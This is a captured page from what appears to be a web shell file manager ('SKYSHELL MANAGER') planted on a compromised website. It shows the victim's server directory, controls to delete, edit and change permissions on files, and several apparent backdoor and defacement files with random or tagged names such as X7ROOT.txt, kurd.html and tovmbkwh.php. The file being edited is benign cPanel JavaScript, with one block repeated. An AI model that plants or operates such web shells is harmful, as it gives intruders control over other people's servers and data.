📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: backupUserSelectionView.js
/* # backup_user_selection/views/backupUserSelectionView.js Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define */ define( [ "angular", "lodash", "cjt/util/locale", "cjt/util/table", "cjt/util/parse", "uiBootstrap", "cjt/decorators/paginationDecorator", "cjt/directives/toggleSortDirective", "cjt/directives/alert", "cjt/directives/loadingPanel", "cjt/services/alertService", "app/services/NVData", "app/services/backupUserSelectionService" ], function(angular, _, LOCALE, Table, PARSE) { "use strict"; var app = angular.module("whm.backupUserSelection"); var controller = app.controller( "backupUserSelectionView", ["$q", "$scope", "backupUserSelectionService", "NVData", "PAGE", "alertService", function($q, $scope, backupUserSelectionService, NVData, PAGE, alertService) { var table = new Table(); function searchByUsernameOrDomain(account, searchExpression) { searchExpression = searchExpression.toLowerCase(); return account.user.toLowerCase().indexOf(searchExpression) !== -1 || account.domain.toLowerCase().indexOf(searchExpression) !== -1; } table.setSearchFunction(searchByUsernameOrDomain); /** * Fetches account data * * @scope * @method getUserAccounts */ $scope.getUserAccounts = function() { $scope.action.loading = true; backupUserSelectionService.getUserAccounts() .then(function(response) { $scope.accountData = response.data; $scope.getInitialPageSize($scope.accountData); }, function(error) { alertService.add({ type: "danger", message: error, group: "backupUserSelection", closeable: true }); }) .finally(function() { $scope.action.loading = false; }); }; /** * Enable or disable backup on account * * @scope * @method toggleAccount * @param {String} username - account username * @param {Boolean} isLegacy - if it is the legacy backup type being toggled */ $scope.toggleAccount = function(account, isLegacy) { $scope.action.toggling = true; backupUserSelectionService.toggleAccount(account.user, isLegacy) .then(function(response) { if (isLegacy) { account.legacy_backup = response; } else { account.backup = response; } }, function(error) { alertService.add({ type: "danger", message: error, group: "backupUserSelection", closeable: true }); }) .finally(function() { $scope.action.toggling = false; }); }; /** * Inserts data into table directive on initial call * * @scope * @method setPagination * @param {Array.<AccountDataType>} [accountData] - array of account data * @param {Number} [pageSize] - initial pagination size */ $scope.setPagination = function(accountData, pageSize) { // Add data to table on initial page load. table.load(accountData); table.setSort("user", "asc"); // Set page size on initial load $scope.meta = table.getMetadata(); $scope.meta.pageSize = pageSize; $scope.setTable(); }; /** * Updates table and sets scoped variables for table * * @scope * @method setTable */ $scope.setTable = function() { table.update(); $scope.meta = table.getMetadata(); $scope.filteredAccountList = table.getList(); $scope.paginationMessage = table.paginationMessage(); $scope.action.toggling = false; $scope.showPager = true; }; /** * Fetch saved page size data * * @scope * @method getInitialPageSize * @param {Array.<AccountDataType>} accountData - array of account objects */ $scope.getInitialPageSize = function(accountData) { NVData.get("accounts_page_size") .then(function(pageSize) { pageSize = parseInt(pageSize.value, 10) || 10; $scope.setPagination(accountData, pageSize); }); }; /** * Set and save page size data * * @scope * @method setPageSize */ $scope.setPageSize = function() { $scope.setTable(); NVData.set("accounts_page_size", $scope.meta.pageSize); }; /** * Fetch saved page size data * * @scope * @method getInitialPageSize * @param {Array.<AccountDataType>} accountData - array of account objects */ $scope.getInitialPageSize = function(accountData) { NVData.get("accounts_page_size") .then(function(pageSize) { pageSize = parseInt(pageSize.value, 10) || 10; $scope.setPagination(accountData, pageSize); }); }; /** * Set and save page size data * * @scope * @method setPageSize */ $scope.setPageSize = function() { $scope.setTable(); NVData.set("accounts_page_size", $scope.meta.pageSize); }; /** * Enables backups for every account * * @scope * @method enableAllAccounts * @param {Boolean} isLegacy - if user is enabling legacy backup types * @return {Array.<Promise<String>>} an array of strings indicating success for each account */ $scope.enableAllAccounts = function(isLegacy) { var promises = []; $scope.action.toggling = true; angular.forEach($scope.accountData, function(account) { if ((!account.backup && !isLegacy) || (!account.legacy_backup && isLegacy)) { promises.push( backupUserSelectionService.toggleAccount(account.user, isLegacy) .then(function(response) { if (isLegacy) { account.legacy_backup = response; } else { account.backup = response; } }, function(error) { alertService.add({ type: "danger", message: error, group: "backupUserSelection", closeable: true }); })); } }); return $q.all(promises).finally(function() { $scope.action.toggling = false; }); }; /** * Disables backups for every account * * @scope * @method disableAllAccounts * @param {Boolean} isLegacy - if user is disabling legacy backup types * @return {Array.<Promise<String>>} an array of strings indicating success for each account */ $scope.disableAllAccounts = function(isLegacy) { var promises = []; $scope.action.toggling = true; angular.forEach($scope.accountData, function(account) { if ((account.backup && !isLegacy) || (account.legacy_backup && isLegacy)) { promises.push( backupUserSelectionService.toggleAccount(account.user, isLegacy) .then(function(response) { if (isLegacy) { account.legacy_backup = response; } else { account.backup = response; } }, function(error) { alertService.add({ type: "danger", message: error, group: "backupUserSelection", closeable: true }); })); } }); return $q.all(promises).finally(function() { $scope.action.toggling = false; }); }; /** * Initializes controller * * @scope * @method init */ $scope.init = function() { $scope.action = { loading: false, toggling: false, settingPage: false }; $scope.meta = {}; $scope.getUserAccounts(); $scope.legacyBackupEnabled = PARSE.parsePerlBoolean(PAGE.legacyBackupEnabled); }; $scope.init(); } ] ); return controller; } );
Save